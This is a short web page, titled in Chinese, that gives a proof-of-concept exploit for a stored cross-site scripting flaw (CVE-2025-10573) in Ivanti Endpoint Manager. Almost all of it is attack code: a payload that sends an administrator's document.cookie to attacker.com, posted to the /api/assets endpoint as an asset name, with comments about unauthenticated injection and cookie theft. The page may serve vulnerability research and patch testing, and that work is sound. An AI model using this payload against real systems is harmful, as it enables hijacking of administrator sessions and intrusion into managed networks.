CVE-2025-10573 Ivanti Endpoint Manager 存储型XSS漏洞

<!-- CVE-2025-10573 Stored XSS PoC for Ivanti Endpoint Manager --> <!-- This PoC demonstrates the stored XSS vulnerability in EPM --> <script> // PoC: Stored XSS in Ivanti Endpoint Manager // Target: EPM versions prior to 2024 SU4 SR1 // Step 1: Inject malicious JavaScript via vulnerable input field const maliciousPayload = '<script>document.location="https://attacker.com/steal?c='+document.cookie+'"</script>'; // Step 2: Send the payload to the vulnerable endpoint fetch('/api/assets', { method: 'POST', headers: { 'Content-Type': 'application/json', // Attackers can inject without authentication in some cases }, body: JSON.stringify({ name: maliciousPayload, description: 'Asset with injected XSS', type: 'computer' }) }); // Step 3: When admin views the asset, cookie is stolen // The injected script will execute in admin's browser context console.log('[PoC] XSS payload injected successfully'); </script>